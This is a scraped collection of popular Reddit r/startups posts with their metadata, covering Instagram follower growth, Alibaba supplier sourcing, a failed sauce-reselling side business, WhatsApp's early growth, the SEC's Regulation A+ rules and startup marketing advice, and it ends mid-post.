easily follow 1 — Find 10–20 Instagram influencers in your niche 2 — You can search on Instagram or use 3rd party tools (e.g. RightRelevant, Kear, Ninja Outreach) 3 — Find the contact info of the owners. Note: If their contact info is public on their account, this means they open for business) 4 — Reach out and find out how much their charge for a “shout out” or “feature post” 5 — I would pick 10 and have them feature my brand new account. Then pick the best 3 to 4 best performing influencers and do it again. “You either build the audience from scratch or go to someone who already has the audience you need.” ------ **5. Leon Benjamin (TripleYourTribe)** Here’s my answer. The main steps are 1. Who I’m looking to attract 2. My content + hashtags 3. Get easy quick followers 4. Shout campaign 5. Giveaway campaign 6. Engage with existing fans daily First determine who’s my account for. And think about who else is serving them right now. What other instagram accounts are currently BIG that have them. I’d make a list of at least 30 of them who have over 40k followers and a fairly active comment section where discussions arise. Next, I’d find out what type of content those accounts put out thats interesting for them to engage with. Make at least 30 posts that are similar to those kinds of post and add a twist to them with my brand. The rest can be posts with quotes related to the market. Also from the previous listed accounts, scrape some of the hashtags that are in the medium range 20k-200k posts. And some in the more popular range +500k. From there I’d look a bit deeper to find more related tags through suggestions. From there, I schedule the posts with later.com to go out once per day. And another post uploaded manually. While rotating 60 hashtags across 2 posts per day. (that’s 30 tags per post. NOT 60 tags per post – which can get you into trouble!) Next, I’d ask my current network of friends, or fam to follow my new account. Just for the sake of growing momentum and some social proof. Now for the giveaway campaign. I’d create a document of value either from my knowledge or from interviewing influencers in the market or get an existing product of value (maybe around +100$) that that audience will want. Something thats related to the market. And offer it for free. In a giveaway. They would have to follow and tag in someone to enter for a chance to win. The winner would be announced on the last day of the 30 days. All participants receive part of the document or online product as well as a bonus. Then, while that’s being promoted in the account, I’d get others to share it as well. I’d reach out to that list found in step 1 and ask them to give us a shout on their page. In exchange, shout them out on my page, or give them something of value in return. While they promote the contest, I’d manually get traffic. The way I’d do that is by engaging (by liking or commenting or replying to stories) to the people who are active on the posts from accounts of list one. In summary, 1. find my audience, 2. the content they’d like, 3. the tags that attract them, 4. Ask existing network for some social proof followers 5. Create a contest 6. Get shouts from relevant accounts 7. Manually engage with the market That could make me hit 10,000 followers easy. But in reality, hitting the 10k mark can be done by purchasing them.. however, would not make your account valuable to you or your market.. What would be the most bang per buck (your buck being in terms of your energy and time), would be to have an engaged and interested following instead. So growing through the steps above, ensures you get interested followers. And less of the ones that unfollow you later. ------ If you like more strategies recommended by 14 other top Instagram marketing influencers, you can **[read them here](https://www.candybar.co/blog/instagram-marketing-experts/).**",airawear,435,80,1507003631,/r/startups/comments/73y35j/i_recently_interviewed_a_bunch_of_instagram/,https://www.reddit.com/r/startups/comments/73y35j/i_recently_interviewed_a_bunch_of_instagram/,self.startups,True,,,,, 12vvjnx,startups,Jealous of my best friend's success,"This will most likely get removed since I'm basically venting, but I feel it's better than keeping all these thoughts bottled up. Me [25M] and my friend [26M] have known eachother since we were 9. For years we would constantly talk about the company we would start and got really interested in business in our early teenage years. Long story short, I majored in software engineering and he majored in psychology. He's from a pretty well-off family. Lives in a house his parents bought for him, no student loans, drives an Audi his parents bought him, doesn't have to pay his credit card bill, etc. Anyways, after graduation, I wanted to start paying off my loans as quickly as possible, so I got a fancy tech consulting job, which I've been in for the last 3 years, with about 30% of my loans paid. But my #1 goal has always been to either work for an early stage startup or be a part of its founding team. My friend wanted to jump into either founding or working for a startup as soon as he graduated. And I can't really blame him since he basically had (and still has) almost no financial commitments whatsoever. About 2 years ago, he introduced me to someone he met at a networking event with the proposal of being cofounders together and with me as CTO working remotely from the new city I moved to for work. I was so excited, but was in no position to quit my current job. Basically what happened is I dedicated another 30 hrs per week to working on the startup idea, and it was too much. I didn't have time to properly refine the product and I'm sad to admit my work was rather subpar. It was also pretty stressful managing both jobs. Whereas my friend and our other cofounder were kicking ass presenting our idea at accelerator events. To quickly wrap up the story, I had to leave because of the overwhelming workload, and wasn't able to adequately finish the product. I think this made an impression on our other cofounder since we never got funding or much traction. Fast forward 2 yrs later, my friend and our other former cofounder started a different company in health tech, and hired an Ivy League graduate with internship experience at FAANG to be CTO. My friend's dad supplied $50k in initial funding. They currently have tons of customers, multiple VC offers, and are on track for a multi-million dollar valuation. I am happy for my friend, truly. It's what we always dreamed of. But I'd be lying if I didn't say I was jealous. When we talk, he tells me how he feels like he's in The Social Network. He's flying to events, getting invited to speak at places, gaining the respect of people in the industry. I have not seen or heard from our other cofounder in 2 yrs. Then there's me. I'm grateful I have a high-paying job, but my life is pretty unexciting otherwise. I've been trying to go to more networking events, but I feel like I don't have much to offer beyond my current job experience and general startup knowledge I've gained from reading and listening to other founders. So I've been trying to build out personal projects in my free time. I've also been focusing a lot on preparing for interviews at large tech companies or unicorns in the hopes of having something eye-popping on my resume that other co-founders might want to seek me out for. But I've sadly had lots of trouble making it through tech interviews. I've got lots of cool ideas and things I'd love to try and build. I'm just trying my hardest to curate my dream the same way my friend is seemly already fufilling his. He had a leg up on me after graduation, yes. But looking back I sometimes feel that I'm just not trying hard enough, or that I'm not meant to be a technical cofounder. Okay, I'm done. Going to go bake cookies and simmer down for a bit.",amanhasnoname54,435,179,1682224108,/r/startups/comments/12vvjnx/jealous_of_my_best_friends_success/,https://www.reddit.com/r/startups/comments/12vvjnx/jealous_of_my_best_friends_success/,self.startups,True,,,,, 38i2te,startups,Alibaba Hacks: The most efficient way to find suppliers on the biggest sourcing website,"After releasing the [Import Bible (64 pages free ebook on sourcing)](http://importdojo.com) some people wanted to know my workflow how I use Alibaba to cut down the time to find quality suppliers. I made a [20 minute screencast](http://importdojo.com/alibaba-hacks/) you can watch over here **OR** for the basic outline of what I do, simply read below. For the general sourcing workflow have a look at my previous [case study I posted on /r/entrepreneur few weeks ago here.](http://www.reddit.com/r/Entrepreneur/comments/34x4l5/case_study_importing_a_power_bank_from_china_all/) **Today you want to source for an action camera, similar to the GoPro cameras.** You can start by going to the main page of Alibaba.com and input **“action camera”** in the search option. http://imgur.com/TAfSglm Ok, so you found 106,946 products. At this point you want to filter your results for the most relevant suppliers. You will definitely want the suppliers to be: **Gold suppliers:** This is a paid membership from Alibaba for the supplier. They get featured and can put up a lot more items in their catalogue (among other functions). **Onsite Checked:** The onsite operation of the factory has been checked by Alibaba and a third party confirmed its legal existence. **Assessed suppliers:** This is a third-party assessment usually done through a testing company to verify various parts of the company. This includes machinery, staff, engineers, workers, certification, and much more. After you have filtered for this you are down to 8,258 products: http://imgur.com/tv8C48r **Insider tip:** Now you filter down to the relevant manufacturing province. Why? Because each province in China is specific for different product categories. If you find a few suppliers (compared to hundreds in other provinces) on Alibaba in a certain region it is almost 100% certain they are a trading company. They either buy this certain product from somewhere else to round up their product catalogue (95% in all cases) or they are really manufacturing it. But even if they are manufacturing it in their region they are likely less attractive in terms of prices, less experienced in manufacturing this product and their raw material suppliers are also somewhere far away. Ultimately making them less competitive. There are several reasons why you will find suppliers for a specific product settled within a province. * The infrastructure for this product is good. Meaning there are a lot of suppliers in the area supplying components for the suppliers end-product * The workers in this area are skilled in producing this specific product. Making it easier to manufacture the end-product. Most likely, this also improves the overall quality. * The province has favourable tax rates for the factory on certain products. Now lets look at this again. Even though you didn’t know the province and where the product is mainly manufactured you can get some insights on this very easily: http://imgur.com/Nz546Eg Guangdong province has a total of 7,766 suppliers for this product. The other provinces have only a few. So you filter by this province. Now, you are looking to buy small quantities, lets say 10 pieces to start. You can filter the supplier by MOQ now: http://imgur.com/Ctt6PcF Now lets look at the specific suppliers. You scroll down and by hovering over the Gold supplier symbol you will see quick facts. You are basically looking for a factory that has experience in your market. This specific supplier has experience in North America, Western & Eastern Europe. http://imgur.com/4hP6OFi **Insider tip:** You will want a supplier who has experience in these markets because he is probably aware of specific country requirements & regulations. This helps because he may already have applied for certificates for this product that you need when importing. Now look at the product page. What does the page tell you? http://imgur.com/hNs5zmX You will find the following: * Supplier has 5 year “GOLD” membership, which is a good sign. If he had scammed someone before Alibaba would have deleted his account and not renewed it for 5 years. * Price is within a reasonable range * Your desired MOQ can be met (10 pieces) * Payment terms are acceptable. I would go for PayPal at this amount. * The company is rather young but that doesn’t matter. These type of camera’s got really popular around 2012 so a company that has been in that field prior to that has actually a lot of experience. **Insider tip: The trick here is to think outside the box.** Don’t only look at a supplier and try to find some issue or problem. Think about the product too. Ask yourself questions such as “does his product portfolio make sense”? Is it in line with his other products? Or as for example the last point above, “when did these things get popular”?. Now when you scroll down there are several more good indicators. For example good product photos. **You will want a supplier that can send you high-resolution photos for your packaging or private label.** http://imgur.com/WmRb1Um You will see available certifications. In this case what matters are **RoHS**, **CE** & **FCC**. **RoHs** certification is necessary for most European countries & the Americas. It prohibits certain hazardous material within the product. **CE** is a certification for Europe to meet general standards. Its good if a supplier has this **FCC** is a required certification on electrical products & also a standard for the US. http://imgur.com/nxdQZLx You could already feel comfortable with this supplier, but you should check further on him in person by email. Next, click on the “contact details” where you will find several things that help you to evaluate the supplier further. Look at the company profile and what you can find there. Also look at the website outside Alibaba. If you cannot find his website outside Alibaba then google his company name and try to find it that way. http://imgur.com/20bfi7z When you look at the website, pay attention on what products they manufacture. If the seller advertises cameras on Alibaba and his main products outside Alibaba are pillows then you will know they are only trading the cameras and you should look for a new supplier at this stage. But, this supplier has mainly cameras in their assortment. Looks good so far. What you notice is that their address is different than the one on Alibaba. At this stage it is probably their Hong Kong office that they use to invoice their customers. Many factories in China have a company in Hong Kong for tax and banking reasons. No need to be worried at this stage. http://imgur.com/CR0IOH1 Going back to Alibaba, you will want to contact the supplier with your request now. You need to sign in to Alibaba to send a message. http://imgur.com/l9Q1Y1f Basically you want to ask for a price, MOQ, delivery time and to which customers he is selling this item too. Obviously you also need to do routine checks on factory standards, product certifications and supplier profiles. If you would order from this factory later you should also look into having an inspection by a third-party. Here is what the inquiry could look like: *Hi…,* *My name is ….. and I am the ….(Manager/President/Buyer etc.) of …. Limited/Inc.* *We are a (fill in your company’s business, e.g., Importer/Buying Office/Whole seller/Online shop) and are operating in (fill in your country).* *You can also check out our website: www. …..* *I am writing you today to inquire about a product I saw on your website/catalogue/exhibition.* *Here is a link to the product I am looking for:* *http://www.alibaba.com/product-detail/Wifi-Sport-Camera-Wifi-Action-Camera_1880459810.html* *Could you please give me the following information:* *Unit price based on 10 Pieces* *Minimum Order Quantity* *Available certification (CE, RoHS, FCC, GS, etc.)* *Production lead time* *Available colors* *Payment terms* *You can fill in the details in the attached quotation format or send me your quotation in the first step. Then I will evaluate your offer and get back to* *you as soon as possible.* *If you have any questions please don’t hesitate to contact me.* *Thanks and best regards,* You should now repeat this step and send an inquiry to at least 3 more companies on Alibaba. If he didn’t follow up on all your questions make sure to email him back and ask again. For example if you need to know about certifications and they didn’t reply to that, ask them. **Insider tip:** Sometimes suppliers put all available certifications on Alibaba but they don’t tell you that they charge extra for them. A RoHS, CE or FCC certification can cost from 200USD up. Ask to see copies of certificates. * Do the certificates match up with the article number that the supplier gave you? — > If not, ask about it * Is the certificate expired? — > If yes, ask if he would renew once order is placed. * Who issued the certificate? — > If it is a local Chinese company google them and see what you can find about their service. * If they don’t have certificates yet, ask them if they could apply for them once you place an order. Make sure you tell them that you will not release any payments if the certificates are not available upon shipment. If you book an inspection company, make sure to instruct your inspection company to check on this. Once you received the suppliers feedback it is time to follow up with him on samples. For more details on how to order & test your samples properly check my other articles: [Here](http://importdojo.com/sample-communication-with-your-suppliers-an-in-depth-guide/) & [Here](http://importdojo.com/testing-your-samples/) Other tips for Alibaba: **AliSource Pro** There is a rather new service called AliSource Pro. You can basically send quotation requests to thousands of suppliers. Here is what it looks like: http://imgur.com/9sgvuHo You can input all product details and submit. Within a few hours you should have a couple of offers. http://imgur.com/Xu1STHk The downside to this is that there is not much filtering. Random suppliers will send you offers and some of them don’t even match your inquiry. I suggest filling in as many details as possible and then going trough the whole process of filtering & scanning a supplier as described above. **Google the supplier** If you cannot find much about the supplier on Alibaba, Google the suppliers name and see what you can find. Perhaps even try “supplier name forums”. That way you maybe find something (positive or negative) in forums about the supplier. These are the basics of sourcing on Alibaba, of course there is more to that. [I provide plenty of information for free on my blog](http://importdojo.com) that will get you started. There is no need to delay getting into this business, with all the tools available these days everyone can start importing from overseas and building their own brand.",importdojo,431,57,1433414414,/r/startups/comments/38i2te/alibaba_hacks_the_most_efficient_way_to_find/,http://www.reddit.com/r/startups/comments/38i2te/alibaba_hacks_the_most_efficient_way_to_find/,self.startups,True,,,,, ovnjgd,startups,Share Your Startup - August 2021 - Upvote This For Maximum Visibility," [r/startups](https://www.reddit.com/r/startups/) wants to hear what you're working on! &#x200B; Tell us about your startup in a comment within this submission. Follow this template: * **Startup Name / URL** * **Location of Your Headquarters** * Let people know where you are based for possible local networking with you and access to local resources * **Elevator Pitch/Explainer Video** * **More details:** * What life cycle stage is your startup at? * Your role? * **What goals are you trying to reach this month?** * How could [r/startups](https://www.reddit.com/r/startups/) help? * Do NOT solicit funds publicly--this may be illegal for you to do so * **Discount for** [**r/startup**](https://www.reddit.com/r/startup/) **subscribers?** * Share how our community can get a discount \-------------------------------------------------- [Join our discord for instant chat, advice, and emotional support!](https://discord.gg/yjMZU8g) \-------------------------------------------------- **Startup Life Cycle Stages** (Max Marmer life cycle model for startups as used by Startup Genome and Kauffman Foundation) * 1. **Discovery** * Researching the market, the competitors, and the potential users * Designing the first iteration of the user experience * Working towards problem/solution fit (Market Validation) * Building MVP * 2. **Validation** * Achieved problem/solution fit (Market Validation) * MVP launched * Conducting Product Validation * Revising/refining user experience based on results of Product Validation tests * Refining Product through new Versions (Ver.1+) * Working towards product/market fit * 3. **Efficiency** * Achieved product/market fit * Preparing to begin scaling process * Optimizing the user experience to handle aggressive user growth at scale * Optimizing the performance of the product to handle aggressive user growth at scale * Optimizing the operational workflows and systems in preparation of scaling * Conducting validation tests of scaling strategies * 4. **Scaling** * Achieved validation of scaling strategies * Achieved an acceptable level of optimization of the operational systems * Actively pushing forward with aggressive growth * Conducting validation tests to achieve a repeatable sales process at scale * 5. **Profit Maximization** * Successfully scaled the business and can now be considered an established company * Expanding production and operations in order to increase revenue * Optimizing systems to maximize profits * 6. **Renewal** * Has achieved near peak profits * Has achieved near peak optimization of systems * Actively seeking to reinvent the company and core products to stay innovative * Actively seeking to acquire other companies and technologies to expand market share and relevancy * Actively exploring horizontal and vertical expansion to increase prevent the decline of the company If you are running a traditional business that is not designed to scale rapidly, feel free to reference a traditional business life cycle model and share what traditional business life cycle stage you are at.",AutoModerator,425,522,1627801271,/r/startups/comments/ovnjgd/share_your_startup_august_2021_upvote_this_for/,https://www.reddit.com/r/startups/comments/ovnjgd/share_your_startup_august_2021_upvote_this_for/,self.startups,True,,,,, 897was,startups,Developer here. I don't care about your ideas. I care about what purpose you'll serve in making those ideas come to fruition.,"I've been seeing a lot of stuff come up about non developers wanting to start a tech company. The truth is we get blasted with ideas all of the time. I personally get people frequently coming to me with the latest and greatest idea that is going to make us all billionaires. I've been out at some social event and after telling people that I am a developer, after being asked what I do of course, sometimes they'll be racing to get me to sign a NDA to tell me their next great idea. So let's take up a few things here: 1. Your idea isn't nothing unless you have a) adequate enough skills to have purpose beyond having the idea itself, or b) have enough resources. 2. If you have no proper way of communicating that idea you're screwed from the start. Give us some form of document that lays out the business with basic market research, a marketing plan, and rough financials. I'm not saying projections or in depth stuff here. More of a pitch deck with maybe a little more detail. 2 b. Have some knowledge in programming. You don't need to be a programmer, but you do need to understand differences between front end and back end development and it would be good to know what frameworks are being used. Honestly, a few weeks time on codecademy and lynda.com will serve a lot in being able to communicate with your developer. 3. (This doesn't apply to investors) Know your worth. You don't deserve a controlling stake because you had the idea. If you have a good idea, but are only capable of doing 20% of the work to get that company up and running you get 20% of the company. Now, this also excludes people that might have a big enough rolodex to bring a lot of clients, which for ease sake I'll consider investment into the company. You wouldn't believe how many times where I've heard a person's idea out and the scenario turns into you'll do 95% of the work and I'll own 95% of the business. 4. Don't be rude. I was at a social event a few months back and a women with a business gave me her card and told me she wanted to have an app made. I asked her a few questions, waited for her reply, and while I was trying to think about how I could help or if it was the right job for me she took her card right out of my hand and got offended. My guess was because I wasn't extremely enthusiastic about her idea. #What You Can Do If You're Starting 1. Learn to code. It's essential for three reasons. a) You'll be able to have a better understanding if your idea is viable. b) At least to know what you need, what you're talking about and how to technically communicate your ideas. c) It will stop you from getting ripped off. I had a guy the other day calling me an idiot because I wouldn't sell $50 wordpress templates to clients for $7k a pop. Developers can be as shady as any other profession and it's not uncommon for people to get ripped off. 2. Start making yourself essential to the company you're starting. This can only be done if you've gained experience in a certain skill set, so start by getting experience. 3. Do the damn thing. You won't know if this will work until you try. When you're doing it you'll be able to make adjustments as you learn more and if it's going to be a failure you'll probably spot other opportunities now that you have newer skills. 4. At a minimum know how to create a pitch deck, but it's also a good experience to learn how to build business plans. Not because you'll need a business plan for whatever you're doing (You might), but because it gives you the ability to analyze and configure ideas quicker. **Edit** If you're not a technical person I think u/Chief_Executive_Anon highlights the ideal person a developer would want to work with. [You can read their comment here.](https://www.reddit.com/r/startups/comments/897was/developer_here_i_dont_care_about_your_ideas_i/dwr8lqd/) When asked what value as a non technical person they added to the company they said this: >Good question. I brought an idea that had been distilled into a comprehensive business plan, with a realistic roadmap to get us from A-Z (though that roadmap is fluid and ever changing given the complex variables that manifest day in and day out). >On top of that, I brought an ability to communicate that allowed me to be the primary interface between this company and the outside world in the early days. Thus, I handled fundraising (if you’ve never done it, think of your best idea and go ask somebody to give you $25,000 to make it a reality... it’s a hard skill to conquer!), I handled PR. And I handled marketing to prospective customers when we had an MVP (minimum viable product) in order to evidence the viability of our product and monetization model. >I also brought a shit ton of passion and found that I cared enough to hustle harder than I ever thought possible. Hope this helps. Happy to answer any other questions you may have. This is exactly what we need. They put together a business plan and lined out how they would make the business viable. Then they came ready to handle all marketing, funding and PR. This is the ideal candidate to work with. It shows they care about their idea. Business plans are not easy to put together since they challenge you to think every aspect of a company out. I'm not saying you have to do a business plan, but someone **needs** to be able to provide the map to becoming successful.",corbinthecoder,422,183,1522722120,/r/startups/comments/897was/developer_here_i_dont_care_about_your_ideas_i/,https://www.reddit.com/r/startups/comments/897was/developer_here_i_dont_care_about_your_ideas_i/,self.startups,True,,,,, 6bwok0,startups,How I Lost $7 Selling McDonalds Sauces Online,"Here’s an honest view of a short lived online business. In the end, after all fees, ads, costs etc, I lost a total of $7.42 or $0.12 per bottle sold. **Initial Idea** Back around the end of March, [McDonalds Canada announced](http://news.mcdonalds.ca/en-CA/manual-releases/Get-ready-Canada-Big-Mac-Filet-O-Fish-and-McChicke) that they would be selling packaged sauces in grocery store, including Big Mac Sauce, Filet-o-Fish Sauce and McChicken Sauce. The relevant social media posts were filled with mostly excitement, but also anger that it was only going to be Canadians that had access to this product. The sauces were immediately available, and no information about availability dates were provided, as well, no costs was provided during the announcement. I’ve read many stories online where people capitalize on situations like this and make a bit of money, so I thought ‘Why not me?’ I had some time to think about the idea since the sauces weren’t yet available in stores. The idea would be to buy sauces in grocery stores, then package them and ship them around the world. Pretty simple right. I talked with a friend that was going to help out as I was dreaming of this being a huge success and having tons of orders to ship out. He works shift work so I figured he’d be good to help. In the end he didn’t do anything so that’s the end of that. While as time went on I kept thinking about my plan and finally put together a website. Initially it had a form gathering contacts with the basic message ‘We’ll notify you when they become available’’. I paid for some Facebook ads, targeted people with an interest in Big Macs and/or McDonalds (yes those exist). I managed to get 6 people sign up. This was underwhelming but I persisted. As this Facebook ad was running, the sauces became available in stores and I rushed to put together a store front. For the store front, I used Shopify. Shopify is a great product that helps with everything needed to run a store front. I used the $9/month plan that allows for just the use of the ‘Buy Button’ that I placed on my site. At this point I loaded up some more Facebook ads and started taking orders. The first and second day I maybe had $100 in orders each day. This was good and I was thinking this might work. On the third day, I woke up and had $800 dollars in order notifications on my phone (Shopify has an iPhone app that alerts you when someone places an order). I was very excited. Wondering why they all came over night, I noticed many orders came from Australia. So I then targeted some Facebook ads to Australians only and orders kept coming in. Day 4 comes around and orders drop considerably back down to $100 or so. And continue to drop day by day. I realized that people were getting turned off by the shipping costs and/or times. Shopify is great because it does all the shipping costs and calculations for you. When checking out, it shows the customer the cost of various shipping methods (using CanadaPost) and an estimated shipping time. For one bottle of McDonald’s sauces (cost $10 to the customer), the cheapest shipping method was $12 and estimated to take between 28 and 84 days!!!! Realizing that not many people would want to wait this long (or pay more for shipping than the product) I started to target North American users (remembering that the sauces were only available in Canada). This didn’t lead to any appreciable increase in sales. After a week or so, orders had basically stopped and I decided to shut down the ads and try to sell the remaining bottles I had in stock. Here are a few notes on the whole operation and final costs and incomes. **Facebook Ads** Facebook Ad manager has improved greatly over the past while and it’s a super strong tool for advertising. It takes a bit of getting used to, but once you know what you are doing, you can get some good traffic. My totals, for the various ads I placed were 2,987 clicks and 113,670 people reached. My cost per click was $0.08 and I spent a total of $236.48 on ads. My click through rate was 2.39%. One takeaway from Facebook Ads is that it will take up a lot of time if you plan to be present on the ad boards. You’ll get a ton of people commenting on the ads (sometimes good stuff, sometimes bad stuff). If you want to respond to people, it takes time but Facebook has made a specific iPhone app for handling this, so you can do it on the go. As well, many people will talk about buying products, but then never buy. **Google Adwords** With a Shopify account, you get a ‘Spend $35, Get $135 Credit’ with AdWords. I set up some adwords, spent $75 (some my money, some credit). For this I got 68 clicks, 1,553 impressions and a good click through rate of 4.38%, an average CPC $1.11. The dashboard tells me the ads converted once, but I’m not sure I had it set up correctly the entire time. Unless you have done this before, I wouldn’t suggest using two ad platforms at one time. Managing both became a distraction so I turned off the Google Adwords, even though it was using free credit. **eBay** While doing research, I noticed many people had the same idea as I and started to list the bottles on eBay to sell them. I noticed that many were selling for more than I was selling for which was $10/bottle. I decided I could list on eBay for $13 (to cover eBay listing fees etc) and undercut the others and sell a bunch. Shopify is great because you can manually enter orders and keep track of them in the same place. One thing to note here though, don’t enter the email address when creating the contact in Shopify. If you do, Shopify assumes you want them to email them which can confuse customers when they get multiple emails from different stores. Although I did get a bunch of orders from eBay, it did create more work since I was managing both platforms. As well, eBay’s UX is absolutely terrible. It’s very outdated and hard to use. I imagine there are add on tools that people use, but the vanilla eBay platform is terrible. Like ad platforms, I don’t recommend selling on multiple sites. Find one you like and stick to it. **Inventory and The End** Getting and keeping product is what lead me to close down the store so to speak. I didn’t want to get stuck with a ton of left over inventory, so I sort of bought in small batches (10 bottles). At first bottles were easy to come by, but after awhile other people started to realize the product was available and buy it from grocery stores. I would go to a store to grab a bunch and it would be out of stock. So I would drive around the city trying to find more only to find one or two bottles left. I was spending more and more of my time driving around finding bottles. When I started this, I promised my wife it wouldn’t take up too much time. This was just a side project, and we have a toddler and a newborn at home. I was spending too much time in the basement working on the site, preparing orders and driving around. I wasn’t seeing the profit I wanted, it just wasn’t justifiable to continue on. If someone is reading this, lives and Canada and wants to take over, let me know. I'm not walking away empty handed. I learned **A TON** during this whole process and has opened my eyes to the possibilities online. I'm going to try some dropshipping as I won't be stuck with the same problem of finding product to buy, although there will be other issues. **Costs** Here is a final breakdown of all my costs and sales for true transparency. *Costs* Sauces $287.28 Facebook Ads $321.89 (above amounts were in USD, this is CAD) Shipping $748.40 Adwords $35.00 eBay Fees $44.09 Shipping Supplies $15.00 Domain $9.84 Shopify Fee $12.24 Total Costs $1,473.74 *Income* Sales $1,466.32 **Profit -$7.42**",craig5005,421,126,1495119316,/r/startups/comments/6bwok0/how_i_lost_7_selling_mcdonalds_sauces_online/,https://www.reddit.com/r/startups/comments/6bwok0/how_i_lost_7_selling_mcdonalds_sauces_online/,self.startups,True,,,,, 8b0u5m,startups,How WhatsApp Got Their First Users,"A Ukrainian emigrant, Jan Koum incorporated WhatsApp Inc. on his birthday, February 24th, 2009. Working out at gym he kept missing phone calls due to the rule barring cellphones. Being a programmer he came up with the idea of a mobile address book with statuses next to contact names, so that friends could let one another know if they were available or at the gym, in a meeting etc. It took several weeks to create the working app. To get first users he reached the Russian emigrants community in San Jose through his friend Alex Fishman. That community become WhatsApp early adopters. Though, that time WhatsApp was a really muggy mess and had a dramatically low traction. Koum was about to giving up and just drop out... and than the miracle of ""Timing"" factor occurred. Apple launched push notifications, which Koum seized by WhatsApp. In the newest incarnation, when users changed their statuses the app pinged everyone in their network via push notification. Users liked this feature so much that the Retention metric soared as a unicorn on rainbow. And out of the blue Koum realized he had accidentally created a mobile instant messenger. Leveraging the opportunity, Koum released WhatsApp 2.0 with a more messaging functionality, and the traction brought over 250k users. That combination of the internal events, internal luck, and the swift adaptation proved both hypothesis (value and growth) for that WhatsApp's MVP after the pivot. ""No Ads! No Games! No Gimmicks"" - became a famous growth hack WhatsApp utilized to leverage their growth since. WhatsApp was not the only apps developer who took the opportunity of Apple's push notification. By January 2011, it had more than a dozen direct competitors, albeit - all of them were supported by advertising. To stand out of the crowd, Koun decided to ignore the conventional rules - neither to run ads inside WhatsApp, nor to spend anything on advertising or paid UA (user acquisition). And the company's third early growth hack was, definitely, based on pricing - providing better and cheaper alternative to traditional limited and expensive SMS/MMS. In fact, WhatsApp offered valuable, sought-after features above and beyond what mobile carriers were providing, including group chat, audio and video file sharing, and location sharing for free in the first year and just $0.99 each year thereafter. Indeed, Blackberry’s BBM and Apple’s iMessage offered their own ""free SMS"" alternatives, thought they didn’t work across platforms. That the weakness WhatsApp seized to push them off the market and finally become the benchmark of the messengers since. --- My growth hacking posts ""How XXX got their first users"": [How Airbnb Got Their First Users](http://benchhacks.com/growthstudies/airbnb-growth-hacks.htm) [How Etsy Got Their First Users](http://benchhacks.com/growthstudies/etsy-growth-hacks.htm) [How Facebook Got Their First Users](http://benchhacks.com/growthstudies/tinder-growth-hacks.htm) [How Groupon Got Their First Users](http://benchhacks.com/growthstudies/groupon-growth-hacks.htm) [How Quora Got Their First Users](http://benchhacks.com/growthstudies/quora-growth-hacks.htm) [How Reddit Got Their First Users](http://benchhacks.com/growthstudies/reddit-growth-hacks.htm) [How Tinder Got Their First Users](http://benchhacks.com/growthstudies/tinder-growth-hacks.htm) [How Uber Got Their First Users](http://benchhacks.com/growthstudies/uber-growth-hacks.htm) [How WhatsApp Got Their First Users](http://benchhacks.com/growthstudies/whatsapp-growth-hacks.htm) ",John_Popel,416,70,1523299316,/r/startups/comments/8b0u5m/how_whatsapp_got_their_first_users/,https://www.reddit.com/r/startups/comments/8b0u5m/how_whatsapp_got_their_first_users/,self.startups,True,,,,, 30clrk,startups,Regular Americans can now invest in startups. SEC says startups can raise up to $50 million by selling stock online.," SEC Adopts Rules to Facilitate Smaller Companies’ Access to Capital Washington D.C., March 25, 2015 — The Securities and Exchange Commission today adopted final rules to facilitate smaller companies’ access to capital. The new rules provide investors with more investment choices. The new rules update and expand Regulation A, an existing exemption from registration for smaller issuers of securities. The rules are mandated by Title IV of the Jumpstart Our Business Startups (JOBS) Act. The updated exemption will enable smaller companies to offer and sell up to $50 million of securities in a 12-month period, subject to eligibility, disclosure and reporting requirements. “These new rules provide an effective, workable path to raising capital that also provides strong investor protections,” said SEC Chair Mary Jo White. “It is important for the Commission to continue to look for ways that our rules can facilitate capital-raising by smaller companies.” The final rules, often referred to as Regulation A+, provide for two tiers of offerings: Tier 1, for offerings of securities of up to $20 million in a 12-month period, with not more than $6 million in offers by selling security-holders that are affiliates of the issuer; and Tier 2, for offerings of securities of up to $50 million in a 12-month period, with not more than $15 million in offers by selling security-holders that are affiliates of the issuer. Both Tiers are subject to certain basic requirements while Tier 2 offerings are also subject to additional disclosure and ongoing reporting requirements. The final rules also provide for the preemption of state securities law registration and qualification requirements for securities offered or sold to “qualified purchasers” in Tier 2 offerings. Tier 1 offerings will be subject to federal and state registration and qualification requirements, and issuers may take advantage of the coordinated review program developed by the North American Securities Administrators Association (NASAA). The rules will be effective 60 days after publication in the Federal Register. ###",Iron-x,407,183,1427354234,/r/startups/comments/30clrk/regular_americans_can_now_invest_in_startups_sec/,http://www.reddit.com/r/startups/comments/30clrk/regular_americans_can_now_invest_in_startups_sec/,self.startups,True,,,,, aendoj,startups,I'm a Founder and Chief Marketing Officer of an 8 figure company - Here's my marketing ideology,"Hello r/entrepreneur and r/startups! One of my co-founders u/millionaire_ made a quick [AMA a few days ago](https://www.reddit.com/r/Entrepreneur/comments/ad6ht3/thinking_about_doing_an_amamaybe_this_will_be_it/) which seemed to get a lot of interest. I wanted to expand on some of the successes he talked about and make a few posts around our marketing strategies! If you haven't feel free to check out the AMA he did. There are some useful nuggets in there :). I've been following the r/entrepreneur and r/startups for the past 4 years and have received some amazing advice, read some great stories, and have contributed some of my knowledge here and there. I started my company a little over 3 years ago and have had great mentors along the way. Now I would like to give back a little and share some of my own experiences. **Background** I’m one of 3 founders. We’ve grown our company to 20+ employees, 2 outstanding products, millions of dollars of revenue, and an 8 figure valuation. We have a long ways to go and still have a lot to learn. Every day is a grind and we’re all putting in about 10 hours a day. Are we burnt out? Not even close. We have a huge opportunity in front of us and we’re all on the same page as to what our vision is. I'd like to make a post every week going over different platform algorithms, destroying competition, understanding how to monetize your market, high level marketing, and much more! I'll start this first post off with a bang and cover some key things to consider in the competitive marketing landscape. **Marketing 101!** Sales and marketing are arguably the 2 most important things in business. They go hand in hand. If you have a product market fit and test enough marketing tactics, you will find tactics that work for your business. This allows you to scale a business at an extremely fast rate. Really understanding your metrics, customer's needs, retention, and other factors are key for any growing company. There are a few things that you need to consider before marketing. **1. Who are your target customers?** **2. Where do your target customers go?** **3. Who are the decision makers from these companies and where do they go? (For B2B)** **4. Who do your potential customers currently work with? (Their existing relationships)** **5. Where do those existing relationships go?** &#x200B; **Who are your target customers?** Identifying your target customer is very important. For my company, we focus primarily on home service companies. There are thousands of home service companies so we narrowed down to home service companies who have websites. Then it turned into focusing on plumbing, HVAC, and electrical companies. Next, how do we know a company can afford marketing or technology products? We narrowed down to companies who have at least 5 service technicians. As we grew, we started to focus on companies who have 10+ technicians. Larger companies tend to be more stable, willing to spend more, and are easier to retain and build a relationship with. If they have between 